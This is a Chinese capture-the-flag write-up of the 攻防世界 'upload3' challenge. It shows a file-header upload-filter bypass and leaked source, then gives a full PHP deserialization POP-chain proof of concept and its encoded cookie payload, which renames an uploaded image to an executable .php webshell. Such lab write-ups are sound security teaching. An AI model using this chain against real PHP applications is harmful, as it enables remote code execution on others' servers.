攻防世界--upload3

注册登陆
攻防世界--upload3

上传文件
攻防世界--upload3 

发现上传一次后没法上传第二次了。。。
重新注册个号,尝试上传php文件发现被拦截了,改成.jpg也被拦截了,猜测这里检测了文件头,想起之前伪造文件头,在文件开头添加GIF89A即可
攻防世界--upload3

 虽然可以成功上传上去,但是没法执行
攻防世界--upload3

扫描目录发现源码泄漏,访问/www.tar.gz

Profile.php文件

这里限制了上传文件的后缀名攻防世界--upload3

Cookie这里有个序列化
攻防世界--upload3 

猜测是反序列化 ,覆盖掉filename即可实现文件名任意

__get() 用于从不可访问的属性读取数据
__call() 在对象上下文中调用不可访问的方法时触发 

给其 except 成员变量赋值 [‘index’ => ‘img’],代表要是访问 index 这个变量,就会返回 img。而后又给 img 赋值 upload_img,让这个对象被访问不存在的方法时最终调用 upload_img。
攻防世界--upload3
攻防世界--upload3

 

赋值控制 filename_tmp 和 filename 成员变量。可以看到前面两个判断我们只要不赋值和不上传变量即可轻松绕过。ext 这里也要赋值,让他进这个判断。而后程序就开始把 filename_tmp 移动到 filename,这样我们就可以把 png 移动为 php 文件了。

还要构造一个 Register,checker 赋值为 我们上面这个 $profile,registed 赋值为 false,这样在这个对象析构时就会调用 profile 的 index 方法,再跳到 upload_img 了。

POC:

<?php

namespace app\web\controller;
error_reporting(0);
class Profile
{
    public $checker;
    public $filename_tmp;
    public $filename;
    public $upload_menu;
    public $ext;
    public $img;
    public $except;


    public function __get($name)
    {
        return $this->except[$name];
    }

    public function __call($name, $arguments)
    {
        if($this->{$name}){
            $this->{$this->{$name}}($arguments);
        }
    }

}

class Register
{
    public $checker;
    public $registed;

    public function __destruct()
    {
        if(!$this->registed){
            $this->checker->index();
        }
    }

}

$profile = new Profile();
$profile->except = ['index' => 'img'];
$profile->img = "upload_img";
$profile->ext = "png";
$profile->filename_tmp = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.png";
$profile->filename = "./upload/e0080b11355313cb26095733241d9209/0412c29576c708cf0155e8de242169b1.php";

$register = new Register();
$register->registed = false;
$register->checker = $profile;

echo urlencode(base64_encode(serialize($register)));

得出

TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO047czoxMjoiZmlsZW5hbWVfdG1wIjtzOjc4OiIuL3VwbG9hZC9lMDA4MGIxMTM1NTMxM2NiMjYwOTU3MzMyNDFkOTIwOS8wNDEyYzI5NTc2YzcwOGNmMDE1NWU4ZGUyNDIxNjliMS5wbmciO3M6ODoiZmlsZW5hbWUiO3M6Nzg6Ii4vdXBsb2FkL2UwMDgwYjExMzU1MzEzY2IyNjA5NTczMzI0MWQ5MjA5LzA0MTJjMjk1NzZjNzA4Y2YwMTU1ZThkZTI0MjE2OWIxLnBocCI7czoxMToidXBsb2FkX21lbnUiO047czozOiJleHQiO3M6MzoicG5nIjtzOjM6ImltZyI7czoxMDoidXBsb2FkX2ltZyI7czo2OiJleGNlcHQiO2E6MTp7czo1OiJpbmRleCI7czozOiJpbWciO319czo4OiJyZWdpc3RlZCI7YjowO30%3D

替换value
攻防世界--upload3

访问.php文件即可成功执行
攻防世界--upload3  

上一篇:jar调试


下一篇:Oracle 表缓存(caching table)的使用